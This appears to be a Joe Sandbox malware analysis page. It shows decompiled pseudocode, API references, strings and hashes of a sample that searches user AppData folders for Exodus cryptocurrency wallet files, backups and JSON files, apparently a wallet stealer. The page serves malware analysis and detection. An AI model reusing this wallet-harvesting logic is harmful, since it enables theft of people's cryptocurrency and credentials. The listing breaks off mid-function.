				 *((intOrPtr*)(_t658 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t658 + 0x10)) = 0;
				_v1348 = _t858;
				_v1344 = _t658;
				 *_t658 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t858));
				_v8 = 0xffffffff;
				E00410EA0();
				_t860 =  *0x452e6c; // 0x50989b8
				_t1051 = _t1049 + 4 - 0x1c;
				_t662 = _t1051;
				_v1352 = _t1051;
				 *((intOrPtr*)(_t662 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t662 + 0x10)) = 0;
				_v1348 = _t860;
				_v1344 = _t662;
				 *_t662 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t860));
				_v8 = 0x1e;
				_t862 =  *0x452b30; // 0x5098540
				_t1053 = _t1051 + 4 - 0x1c;
				_t666 = _t1053;
				_v1356 = _t1053;
				 *((intOrPtr*)(_t666 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t666 + 0x10)) = 0;
				_v1348 = _t862;
				_v1344 = _t666;
				 *_t666 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t862));
				_v8 = 0x1f;
				_t865 =  *0x452c10; // 0x5098d68
				_t1055 = _t1053 + 4 - 0x1c;
				_t669 = _t1055;
				_v1344 = _t1055;
				 *((intOrPtr*)(_t669 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t669 + 0x10)) = 0;
				_v1348 = _t865;
				_v1344 = _t669;
				 *_t669 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t865));
				_v8 = 0xffffffff;
				E00410EA0();
				_t867 =  *0x452c54; // 0x509b860
				_t1057 = _t1055 + 4 - 0x1c;
				_t673 = _t1057;
				_v1352 = _t1057;
				 *((intOrPtr*)(_t673 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t673 + 0x10)) = 0;
				_v1348 = _t867;
				_v1344 = _t673;
				 *_t673 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t867));
				_v8 = 0x20;
				_t869 =  *0x452f60; // 0x509b5d8
				_t1059 = _t1057 + 4 - 0x1c;
				_t677 = _t1059;
				_v1356 = _t1059;
				 *((intOrPtr*)(_t677 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t677 + 0x10)) = 0;
				_v1348 = _t869;
				_v1344 = _t677;
				 *_t677 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t869));
				_v8 = 0x21;
				_t872 =  *0x452f00; // 0x5098fe8
				_t1061 = _t1059 + 4 - 0x1c;
				_t680 = _t1061;
				_v1344 = _t1061;
				 *((intOrPtr*)(_t680 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t680 + 0x10)) = 0;
				_v1348 = _t872;
				_v1344 = _t680;
				 *_t680 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t872));
				_v8 = 0xffffffff;
				E00410EA0(); // executed
				_t1063 = _t1061 + 4 - 0x1c;
				_t684 = _t1063;
				_v1352 = _t1063;
				 *((intOrPtr*)(_t684 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t684 + 0x10)) = 0;
				_v1348 = _t684;
				 *_t684 = 0;
				E004050C0(_v1348, "*.*", L00429C90("*.*"));
				_v8 = 0x22;
				_t875 =  *0x452e48; // 0x509b498
				_t1065 = _t1063 + 4 - 0x1c;
				_t687 = _t1065;
				_v1356 = _t1065;
				 *((intOrPtr*)(_t687 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t687 + 0x10)) = 0;
				_v1348 = _t875;
				_v1344 = _t687;
				 *_t687 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t875));
				_v8 = 0x23;
				_t877 =  *0x452b50; // 0x5098e08
				_t1067 = _t1065 + 4 - 0x1c;
				_t691 = _t1067;
				_v1344 = _t1067;
				 *((intOrPtr*)(_t691 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t691 + 0x10)) = 0;
				_v1348 = _t877;
				_v1344 = _t691;
				 *_t691 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t877));
				_v8 = 0xffffffff;
				E00410EA0(); // executed
				_t1069 = _t1067 + 4 - 0x1c;
				_t695 = _t1069;
				_v1352 = _t1069;
				_v1348 = _t695;
				 *((intOrPtr*)(_t695 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t695 + 0x10)) = 0;
				 *_t695 = 0;
				E004050C0(_v1348, "*.json", L00429C90("*.json"));
				_v8 = 0x24;
				_t881 =  *0x4530ac; // 0x509b8c0
				_t1071 = _t1069 + 4 - 0x1c;
				_t698 = _t1071;
				_v1356 = _t1071;
				 *((intOrPtr*)(_t698 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t698 + 0x10)) = 0;
				_v1348 = _t881;
				_v1344 = _t698;
				 *_t698 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t881));
				_v8 = 0x25;
				_t883 =  *0x452ee0; // 0x5098f70
				_t1073 = _t1071 + 4 - 0x1c;
				_t701 = _t1073;
				_v1344 = _t1073;
				 *((intOrPtr*)(_t701 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t701 + 0x10)) = 0;
				_v1348 = _t883;
				_v1344 = _t701;
				 *_t701 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t883));
				_v8 = 0xffffffff;
				E00410EA0(_t943, 0, _t943, 1, _t943, 0, _t943, 1, _t943, 1, _t943, 0, _t943, 0, _t943, 0, _t943, 0, _t943, 0, _t943, 0);
				_t885 =  *0x452c80; // 0x509d720
				_t944 =  *0x452a48; // 0x509cab8
				_t886 =  *0x452b3c; // 0x509c998, executed
				E00411740( *((intOrPtr*)(_t943 + 0x20)), _t886, _t944, 1, _t885);
				_t927 =  *0x453244; // 0x509ca40
				_t887 =  *0x452a88; // 0x509c968
				_t945 =  *0x452ed4; // 0x509d760
				E00411740( *((intOrPtr*)(_v1360 + 0x20)), _t887, _t945, 0, _t927);
				_t888 =  *0x452b1c; // 0x509c8a8
				_t946 =  *0x452d4c; // 0x509c938
				_t889 =  *0x452a88; // 0x509c968, executed
				E00411740( *((intOrPtr*)(_v1360 + 0x20)), _t889, _t946, 0, _t888); // executed
				_t710 =  *0x453200; // 0x509d1d0
				_t891 =  *0x452a88; // 0x509c968
				_t947 =  *0x453110; // 0x509c8c0, executed
				E00411740( *((intOrPtr*)(_v1360 + 0x20)), _t891, _t947, 0, _t710); // executed
				E00411A90("\\Exodus\\backups", "Exodus\\backups", "*.*",  *((intOrPtr*)(_v1360 + 0x20))); // executed
				L00429B30( &_v1076, 0, 0x104);
				L00429B30( &_v1340, 0, 0x104);
				L00429B30( &_v284, 0, 0x104);
				L00429B30( &_v812, 0, 0x104);
				L00429B30( &_v548, 0, 0x104);
				lstrcatA( &_v1076, "\\");
				_t721 =  *0x452c24; // 0x509cb48
				lstrcatA( &_v1076, _t721);
				lstrcatA( &_v1076, "\\");
				_t724 =  *0x452c24; // 0x509cb48
				lstrcatA( &_v284, _t724);
				lstrcatA( &_v284, "\\");
				_t727 =  *0x452d24; // 0x509b878
				lstrcatA( &_v284, _t727);
				lstrcatA( &_v284, "\\");
				_t730 =  *0x453008; // 0x5098710
				lstrcatA( &_v284, _t730);
				lstrcatA( &_v1340, "\\");
				lstrcatA( &_v1340,  &_v284);
				lstrcatA( &_v1340, "\\");
				_t736 =  *0x452c24; // 0x509cb48
				lstrcatA( &_v548, _t736);
				lstrcatA( &_v548, "\\");
				_t739 =  *0x452efc; // 0x509b890
				lstrcatA( &_v548, _t739);
				lstrcatA( &_v812, "\\");
				lstrcatA( &_v812,  &_v548);
				lstrcatA( &_v812, "\\");
				_t949 =  *0x452c24; // 0x509cb48
				E00411740( *((intOrPtr*)(_v1360 + 0x20)), "*.*", _t949, 0,  &_v1076); // executed
				E00411740( *((intOrPtr*)(_v1360 + 0x20)), "*.*",  &_v284, 0,  &_v1340); // executed
				E00411740( *((intOrPtr*)(_v1360 + 0x20)), "*.*",  &_v548, 0,  &_v812); // executed
				 *[fs:0x0] = _v16;
				_t952 = 0xffffffff;
				_pop(_t957);
				_pop(_t761);
				return E00429B16( *((intOrPtr*)(_v1360 + 0x1c)), _t761, _v20 ^ _t958, _v1360, _t952, _t957);
			}

0x00411d77
0x00411d7e
0x00411d88
0x00411d8e
0x00411d93
0x00411d95
0x00411d9b
0x00411d9e
0x00411da1
0x00411da5
0x00411dad
0x00411db3
0x00411db6
0x00411dba
0x00411dc0
0x00411dc6
0x00411dcc
0x00411de4
0x00411de9
0x00411dec
0x00411df2
0x00411df5
0x00411df7
0x00411dfd
0x00411e00
0x00411e04
0x00411e0a
0x00411e10
0x00411e28
0x00411e2d
0x00411e31
0x00411e37
0x00411e3a
0x00411e3c
0x00411e42
0x00411e45
0x00411e49
0x00411e4f
0x00411e55
0x00411e6d
0x00411e74
0x00411e7b
0x00411e80
0x00411e83
0x00411e85
0x00411e8b
0x00411e8e
0x00411e96
0x00411e9c
0x00411eb2
0x00411eb7
0x00411ebe
0x00411ec4
0x00411ec7
0x00411ec9
0x00411ecf
0x00411ed2
0x00411ed6
0x00411edc
0x00411ee2
0x00411efa
0x00411eff
0x00411f03
0x00411f09
0x00411f0c
0x00411f0e
0x00411f14
0x00411f17
0x00411f1b
0x00411f21
0x00411f27
0x00411f3f
0x00411f46
0x00411f4d
0x00411f52
0x00411f55
0x00411f57
0x00411f5d
0x00411f60
0x00411f68
0x00411f6e
0x00411f84
0x00411f89
0x00411f90
0x00411f96
0x00411f99
0x00411f9b
0x00411fa1
0x00411fa4
0x00411fa8
0x00411fae
0x00411fb4
0x00411fcc
0x00411fd1
0x00411fd5
0x00411fdb
0x00411fde
0x00411fe4
0x00411fea
0x00411fec
0x00411fef
0x00411ff3
0x00411ff9
0x00412011
0x00412018
0x0041201f
0x00412024
0x0041202a
0x0041202d
0x0041202f
0x00412035
0x00412038
0x0041203c
0x00412042
0x00412048
0x00412060
0x00412065
0x0041206c
0x00412072
0x00412075
0x00412077
0x0041207d
0x00412080
0x00412084
0x0041208a
0x00412090
0x004120a8
0x004120ad
0x004120b1
0x004120b7
0x004120ba
0x004120bc
0x004120c2
0x004120c5
0x004120c9
0x004120cf
0x004120d5
0x004120ed
0x004120f4
0x004120fb
0x00412100
0x00412106
0x00412109
0x0041210b
0x00412111
0x00412117
0x0041211d
0x00412120
0x00412124
0x0041213c
0x00412141
0x00412148
0x0041214e
0x00412151
0x00412153
0x00412159
0x0041215c
0x00412160
0x00412166
0x0041216c
0x00412184
0x00412189
0x0041218d
0x00412193
0x00412196
0x00412198
0x0041219e
0x004121a1
0x004121a5
0x004121ab
0x004121b1
0x004121c9
0x004121d0
0x004121d7
0x004121dc
0x004121df
0x004121e1
0x004121e7
0x004121ea
0x004121f2
0x004121f8
0x0041220e
0x00412213
0x0041221a
0x0041221d
0x0041221f
0x00412225
0x00412228
0x00412230
0x00412236
0x0041224c
0x00412251
0x00412255
0x0041225b
0x0041225e
0x00412260
0x00412266
0x00412269
0x0041226d
0x00412273
0x00412279
0x00412291
0x00412298
0x0041229f
0x004122a4
0x004122aa
0x004122ad
0x004122af
0x004122b5
0x004122b8
0x004122bc
0x004122c2
0x004122c8
0x004122e0
0x004122e5
0x004122ec
0x004122f2
0x004122f5
0x004122f7
0x004122fd
0x00412300
0x00412304
0x0041230a
0x00412310
0x00412328
0x0041232d
0x00412331
0x00412337
0x0041233a
0x0041233c
0x00412342
0x00412345
0x00412349
0x0041234f
0x00412355
0x0041236d
0x00412374
0x0041237b
0x00412380
0x00412386
0x00412389
0x0041238b
0x00412391
0x00412394
0x00412398
0x0041239e
0x004123a4
0x004123bc
0x004123c1
0x004123c8
0x004123ce
0x004123d1
0x004123d3
0x004123d9
0x004123dc
0x004123e0
0x004123e6
0x004123ec
0x00412404
0x00412409
0x0041240d
0x00412413
0x00412416
0x00412418
0x0041241e
0x00412421
0x00412425
0x0041242b
0x00412431
0x00412449
0x00412450
0x00412457
0x0041245c
0x00412462
0x00412465
0x00412467
0x0041246d
0x00412470
0x00412474
0x0041247a
0x00412480
0x00412498
0x0041249d
0x004124a4
0x004124aa
0x004124ad
0x004124af
0x004124b5
0x004124b8
0x004124bc
0x004124c2
0x004124c8
0x004124e0
0x004124e5
0x004124e9
0x004124ef
0x004124f2
0x004124f4
0x004124fa
0x004124fd
0x00412501
0x00412507
0x0041250d
0x00412525
0x0041252c
0x00412533
0x00412538
0x0041253b
0x0041253d
0x00412543
0x00412546
0x0041254e
0x00412554
0x0041256a
0x0041256f
0x00412576
0x0041257c
0x0041257f
0x00412581
0x00412587
0x0041258a
0x0041258e
0x00412594
0x0041259a
0x004125b2
0x004125b7
0x004125ba
0x004125be
0x004125c4
0x004125c6
0x004125cc
0x004125d2
0x004125d8
0x004125db
0x004125df
0x004125f7
0x004125fe
0x00412605
0x0041260a
0x0041260d
0x0041260f
0x00412615
0x00412618
0x00412620
0x00412626
0x0041263c
0x00412641
0x00412648
0x0041264e
0x00412651
0x00412653
0x00412659
0x0041265c
0x00412660
0x00412666
0x0041266c
0x00412684
0x00412689
0x0041268d
0x00412693
0x00412696
0x00412698
0x0041269e
0x004126a1
0x004126a5
0x004126ab
0x004126b1
0x004126c9
0x004126d0
0x004126d7
0x004126dc
0x004126e2
0x004126e5
0x004126e7
0x004126ed
0x004126f0
0x004126f3
0x004126f9
0x004126ff
0x00412718
0x0041271d
0x00412724
0x0041272a
0x0041272d
0x0041272f
0x00412735
0x00412738
0x0041273c
0x00412742
0x00412748
0x00412760
0x00412765
0x00412769
0x0041276f
0x00412772
0x00412774
0x0041277a
0x0041277d
0x00412781
0x00412787
0x0041278d
0x004127a5
0x004127ac
0x004127b3
0x004127b8
0x004127be
0x004127c1
0x004127c3
0x004127c9
0x004127cc
0x004127d0
0x004127d6
0x004127dc
0x004127f4
0x004127f9
0x00412800
0x00412806
0x00412809
0x0041280b
0x00412811
0x00412814
0x00412818
0x0041281e
0x00412824
0x0041283c
0x00412841
0x00412845
0x0041284b
0x0041284e
0x00412850
0x00412856
0x00412859
0x0041285d
0x00412863
0x00412869
0x00412881
0x00412888
0x0041288f
0x00412894
0x0041289a
0x0041289d
0x0041289f
0x004128a5
0x004128a8
0x004128ac
0x004128b2
0x004128b8
0x004128d0
0x004128d5
0x004128dc
0x004128e2
0x004128e5
0x004128e7
0x004128ed
0x004128f0
0x004128f4
0x004128fa
0x00412900
0x00412918
0x0041291d
0x00412921
0x00412927
0x0041292a
0x0041292c
0x00412932
0x00412935
0x00412939
0x0041293f
0x00412945
0x0041295d
0x00412964
0x0041296b
0x00412970
0x00412976
0x00412979
0x0041297b
0x00412981
0x00412984
0x00412988
0x0041298e
0x00412994
0x004129ac
0x004129b1
0x004129b8
0x004129be
0x004129c1
0x004129c3
0x004129c9
0x004129cc
0x004129d0
0x004129d6
0x004129dc
0x004129f4
0x004129f9
0x004129fd
0x00412a03
0x00412a06
0x00412a08
0x00412a0e
0x00412a11
0x00412a15
0x00412a1b
0x00412a21
0x00412a39
0x00412a41
0x00412a48
0x00412a4d
0x00412a53
0x00412a56
0x00412a58
0x00412a5e
0x00412a61
0x00412a65
0x00412a6b
0x00412a71
0x00412a89
0x00412a8e
0x00412a95
0x00412a9b
0x00412a9e
0x00412aa0
0x00412aa6
0x00412aa9
0x00412aad
0x00412ab3
0x00412ab9
0x00412ad1
0x00412ad6
0x00412ada
0x00412ae0
0x00412ae3
0x00412ae5
0x00412aeb
0x00412aee
0x00412af2
0x00412af8
0x00412afe
0x00412b16
0x00412b1e
0x00412b25
0x00412b2a
0x00412b30
0x00412b33
0x00412b35
0x00412b3b
0x00412b3e
0x00412b42
0x00412b48
0x00412b4e
0x00412b66
0x00412b6b
0x00412b72
0x00412b78
0x00412b7b
0x00412b7d
0x00412b83
0x00412b86
0x00412b8a
0x00412b90
0x00412b96
0x00412bae
0x00412bb3
0x00412bb7
0x00412bbd
0x00412bc0
0x00412bc2
0x00412bc8
0x00412bcb
0x00412bcf
0x00412bd5
0x00412bdb
0x00412bf3
0x00412bfa
0x00412c01
0x00412c06
0x00412c09
0x00412c0b
0x00412c11
0x00412c14
0x00412c1c
0x00412c22
0x00412c38
0x00412c3d
0x00412c44
0x00412c4a
0x00412c4d
0x00412c4f
0x00412c55
0x00412c58
0x00412c5c
0x00412c62
0x00412c68
0x00412c80
0x00412c85
0x00412c89
0x00412c8f
0x00412c92
0x00412c94
0x00412c9a
0x00412c9d
0x00412ca1
0x00412ca7
0x00412cad
0x00412cc5
0x00412ccd
0x00412cd4
0x00412cd9
0x00412cdc
0x00412cde
0x00412ce4
0x00412cea
0x00412ced
0x00412cf5
0x00412d0b
0x00412d10
0x00412d17
0x00412d1d
0x00412d20
0x00412d22
0x00412d28
0x00412d2b
0x00412d2f
0x00412d35
0x00412d3b
0x00412d53
0x00412d58
0x00412d5c
0x00412d62
0x00412d65
0x00412d67
0x00412d6d
0x00412d70
0x00412d74
0x00412d7a
0x00412d80
0x00412d98
0x00412d9f
0x00412da6
0x00412dab
0x00412db7
0x00412dbe
0x00412dc4
0x00412dc9
0x00412dd8
0x00412dde
0x00412dea
0x00412def
0x00412dfe
0x00412e08
0x00412e0e
0x00412e19
0x00412e21
0x00412e2b
0x00412e31
0x00412e52
0x00412e64
0x00412e79
0x00412e8e
0x00412ea3
0x00412eb8
0x00412ecc
0x00412ed2
0x00412edf
0x00412ef1
0x00412ef7
0x00412f04
0x00412f16
0x00412f1c
0x00412f29
0x00412f3b
0x00412f41
0x00412f4e
0x00412f60
0x00412f74
0x00412f86
0x00412f8c
0x00412f99
0x00412fab
0x00412fb1
0x00412fbe
0x00412fd0
0x00412fe4
0x00412ff6
0x00412fff
0x00413011
0x00413034
0x00413057
0x0041306b
0x00413073
0x00413074
0x00413075
0x00413083

APIs

_strlen.LIBCMT ref: 00411DCE
_strlen.LIBCMT ref: 00411E12
_strlen.LIBCMT ref: 00411E57

Part of subcall function 004050C0: std::_Xinvalid_argument.LIBCPMT ref: 00405135
Part of subcall function 004050C0: _memmove.LIBCMT ref: 00405186

Part of subcall function 00410EA0: _memset.LIBCMT ref: 00410F08
Part of subcall function 00410EA0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,0000000F,00000000), ref: 00410F1C
Part of subcall function 00410EA0: _strlen.LIBCMT ref: 00410F6A

_strlen.LIBCMT ref: 00411E9E
_strlen.LIBCMT ref: 00411EE4
_strlen.LIBCMT ref: 00411F29

Part of subcall function 00410EA0: _memset.LIBCMT ref: 00410F3D
Part of subcall function 00410EA0: SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,0000000F,00000000), ref: 00410F51
Part of subcall function 00410EA0: _memmove.LIBCMT ref: 004110CF

_strlen.LIBCMT ref: 00411F70
_strlen.LIBCMT ref: 00411FB6
_strlen.LIBCMT ref: 00411FFB

Part of subcall function 00410EA0: GetFileAttributesW.KERNELBASE(00000000,?,?,?,?,?,?,?,00000000,?,?,?,00000000), ref: 004111E6
Part of subcall function 00410EA0: _memset.LIBCMT ref: 004112D2
Part of subcall function 00410EA0: lstrcatA.KERNEL32(?,004485EC,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004112E6
Part of subcall function 00410EA0: lstrcatA.KERNEL32(?,0044AA74,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004112F8
Part of subcall function 00410EA0: lstrcatA.KERNEL32(?,0044AA78,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0041130A
Part of subcall function 00410EA0: lstrcatA.KERNEL32(?,0044AA7C,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0041131C
Part of subcall function 00410EA0: lstrcatA.KERNEL32(?,0044AA7C,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0041132E

_strlen.LIBCMT ref: 0041204A
_strlen.LIBCMT ref: 00412092
_strlen.LIBCMT ref: 004120D7

Part of subcall function 00410EA0: lstrcatA.KERNEL32(?,0044AA80,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00411340
Part of subcall function 00410EA0: lstrcatA.KERNEL32(?,0044AA84,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00411352
Part of subcall function 00410EA0: lstrcatA.KERNEL32(?,0044AA88,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00411364
Part of subcall function 00410EA0: lstrcatA.KERNEL32(?,004485EC,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00411376
Part of subcall function 00410EA0: lstrcatA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0041138F
Part of subcall function 00410EA0: lstrcatA.KERNEL32(?,004485EC,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004113A1
Part of subcall function 00410EA0: lstrcatA.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004113CB
Part of subcall function 00410EA0: CreateFileA.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 00411450
Part of subcall function 00410EA0: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411465
Part of subcall function 00410EA0: CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0041146C

_strlen.LIBCMT ref: 00412126
_strlen.LIBCMT ref: 0041216E
_strlen.LIBCMT ref: 004121B3
_strlen.LIBCMT ref: 004121FA
_strlen.LIBCMT ref: 00412238
_strlen.LIBCMT ref: 0041227B
_strlen.LIBCMT ref: 004122CA
_strlen.LIBCMT ref: 00412312
_strlen.LIBCMT ref: 00412357
_strlen.LIBCMT ref: 004123A6
_strlen.LIBCMT ref: 004123EE
_strlen.LIBCMT ref: 00412433
_strlen.LIBCMT ref: 00412482
_strlen.LIBCMT ref: 004124CA
_strlen.LIBCMT ref: 0041250F
_strlen.LIBCMT ref: 00412556
_strlen.LIBCMT ref: 0041259C
_strlen.LIBCMT ref: 004125E1
_strlen.LIBCMT ref: 00412628
_strlen.LIBCMT ref: 0041266E
_strlen.LIBCMT ref: 004126B3
_strlen.LIBCMT ref: 00412702
_strlen.LIBCMT ref: 0041274A
_strlen.LIBCMT ref: 0041278F
_strlen.LIBCMT ref: 004127DE
_strlen.LIBCMT ref: 00412826
_strlen.LIBCMT ref: 0041286B
_strlen.LIBCMT ref: 004128BA
_strlen.LIBCMT ref: 00412902
_strlen.LIBCMT ref: 00412947
_strlen.LIBCMT ref: 00412996
_strlen.LIBCMT ref: 004129DE
_strlen.LIBCMT ref: 00412A23
_strlen.LIBCMT ref: 00412A73
_strlen.LIBCMT ref: 00412ABB
_strlen.LIBCMT ref: 00412B00
_strlen.LIBCMT ref: 00412B50
_strlen.LIBCMT ref: 00412B98
_strlen.LIBCMT ref: 00412BDD
_strlen.LIBCMT ref: 00412C24
_strlen.LIBCMT ref: 00412C6A
_strlen.LIBCMT ref: 00412CAF
_strlen.LIBCMT ref: 00412CF7
_strlen.LIBCMT ref: 00412D3D
_strlen.LIBCMT ref: 00412D82

Part of subcall function 00411740: _memset.LIBCMT ref: 00411770
Part of subcall function 00411740: _memset.LIBCMT ref: 00411786
Part of subcall function 00411740: SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 0041179D
Part of subcall function 00411740: lstrcatA.KERNEL32(?,?), ref: 004117BB
Part of subcall function 00411740: wsprintfA.USER32 ref: 004117DF
Part of subcall function 00411740: FindFirstFileA.KERNEL32(?,?), ref: 00411822
Part of subcall function 00411740: StrCmpCA.SHLWAPI(?,0044A810), ref: 0041184C
Part of subcall function 00411740: StrCmpCA.SHLWAPI(?,0044A814), ref: 00411866
Part of subcall function 00411740: wsprintfA.USER32 ref: 004118A0
Part of subcall function 00411740: GetFileAttributesA.KERNEL32(?), ref: 004118DC
Part of subcall function 00411740: _memset.LIBCMT ref: 00411901

Part of subcall function 00411740: wsprintfA.USER32 ref: 0041180B

Part of subcall function 00411A90: _memset.LIBCMT ref: 00411ACC
Part of subcall function 00411A90: SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,00000000,?), ref: 00411AE3
Part of subcall function 00411A90: wsprintfA.USER32 ref: 00411B09
Part of subcall function 00411A90: FindFirstFileA.KERNEL32(?,?), ref: 00411B20
Part of subcall function 00411A90: StrCmpCA.SHLWAPI(?,0044A810), ref: 00411B3D
Part of subcall function 00411A90: StrCmpCA.SHLWAPI(?,0044A814), ref: 00411B57
Part of subcall function 00411A90: wsprintfA.USER32 ref: 00411B79
Part of subcall function 00411A90: _memset.LIBCMT ref: 00411B8D
Part of subcall function 00411A90: SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 00411BA4
Part of subcall function 00411A90: wsprintfA.USER32 ref: 00411BD0
Part of subcall function 00411A90: _memset.LIBCMT ref: 00411BE4

_memset.LIBCMT ref: 00412E64
_memset.LIBCMT ref: 00412E79
_memset.LIBCMT ref: 00412E8E
_memset.LIBCMT ref: 00412EA3
_memset.LIBCMT ref: 00412EB8
lstrcatA.KERNEL32(?,004485EC), ref: 00412ECC
lstrcatA.KERNEL32(?,0509CB48), ref: 00412EDF
lstrcatA.KERNEL32(?,004485EC), ref: 00412EF1
lstrcatA.KERNEL32(?,0509CB48), ref: 00412F04
lstrcatA.KERNEL32(?,004485EC), ref: 00412F16
lstrcatA.KERNEL32(?,0509B878), ref: 00412F29
lstrcatA.KERNEL32(?,004485EC), ref: 00412F3B
lstrcatA.KERNEL32(?,05098710), ref: 00412F4E
lstrcatA.KERNEL32(?,004485EC), ref: 00412F60
lstrcatA.KERNEL32(?,?), ref: 00412F74
lstrcatA.KERNEL32(?,004485EC), ref: 00412F86
lstrcatA.KERNEL32(?,0509CB48), ref: 00412F99
lstrcatA.KERNEL32(?,004485EC), ref: 00412FAB
lstrcatA.KERNEL32(?,0509B890), ref: 00412FBE
lstrcatA.KERNEL32(?,004485EC), ref: 00412FD0
lstrcatA.KERNEL32(?,?), ref: 00412FE4
lstrcatA.KERNEL32(?,004485EC), ref: 00412FF6

Strings

Exodus\backups, xrefs: 00412E48
\Exodus\backups, xrefs: 00412E4D
%, xrefs: 00412D58
Exodus\exodus.wallet, xrefs: 0041222B, 00412241
*.json, xrefs: 00412CF0, 00412D06
*.*, xrefs: 00411E91, 00411EAD, 00411F63, 00411F7F, 004121ED, 00412209, 00412549, 00412565, 0041261B, 00412637, 00412C17, 00412C33, 00412E43, 0041300C, 00413029, 0041304C

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: _strlen$lstrcat$_memset$Filewsprintf$FolderPath$AttributesFindFirst_memmove$CloseCreateHandleSizeXinvalid_argumentstd::_
String ID: %$*.*$*.json$Exodus\backups$Exodus\exodus.wallet$\Exodus\backups
API String ID: 4211546574-2168220993
Opcode ID: 847aacc3dca064c51ebcaa0f574177ecd3d7934ecde23d4a9719b4b4e38efedf
Instruction ID: 8276e315e0f78ad6bb3aee9e0d11577e7d0d91d0b7e61f05e62ad3b872fa6131
Opcode Fuzzy Hash: 847aacc3dca064c51ebcaa0f574177ecd3d7934ecde23d4a9719b4b4e38efedf
Instruction Fuzzy Hash: E2C22CB09107149FD714EF29ED55A9B7FB4AB09309F1041EEE008A7292D7749E84CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 0041B980 Relevance: 126.7, APIs: 57, Strings: 15, Instructions: 693
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 88%

			E0041B980(intOrPtr* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				char _v8;
				char _v16;
				signed int _v20;
				char _v284;
				char _v548;
				char _v812;
				void* _v1812;
				char _v101812;
				intOrPtr _v101820;
				char _v101824;
				char _v101840;
				intOrPtr _v101848;
				char _v101852;
				char _v101868;
				intOrPtr _v101876;
				char _v101880;
				char _v101896;
				intOrPtr _v101904;
				char _v101908;
				char _v101924;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t189;
				signed int _t190;
				intOrPtr _t199;
				intOrPtr _t204;
				intOrPtr _t208;
				intOrPtr _t212;
				intOrPtr _t216;
				intOrPtr _t220;
				intOrPtr _t224;
				intOrPtr _t226;
				int _t227;
				intOrPtr _t228;
				void* _t230;
				intOrPtr* _t307;
				intOrPtr* _t314;
				intOrPtr* _t319;
				intOrPtr* _t324;
				intOrPtr _t350;
				intOrPtr _t351;
				char _t352;
				void* _t353;
				intOrPtr _t354;
				intOrPtr _t358;
				intOrPtr _t359;
				intOrPtr _t361;
				intOrPtr _t362;
				intOrPtr _t363;
				intOrPtr _t364;
				intOrPtr _t365;
				intOrPtr _t366;
				intOrPtr _t367;
				intOrPtr _t368;
				intOrPtr _t369;
				intOrPtr _t370;
				intOrPtr _t371;
				intOrPtr _t372;
				intOrPtr _t373;
				intOrPtr _t374;
				intOrPtr _t375;
				intOrPtr _t376;
				intOrPtr _t377;
				intOrPtr _t378;
				intOrPtr _t379;
				intOrPtr _t380;
				intOrPtr _t381;
				intOrPtr _t382;
				intOrPtr _t383;
				intOrPtr _t384;
				intOrPtr _t385;
				intOrPtr _t441;
				intOrPtr _t446;
				intOrPtr _t450;
				intOrPtr _t454;
				intOrPtr _t458;
				intOrPtr _t462;
				intOrPtr _t466;
				intOrPtr* _t500;
				intOrPtr* _t501;
				void* _t502;
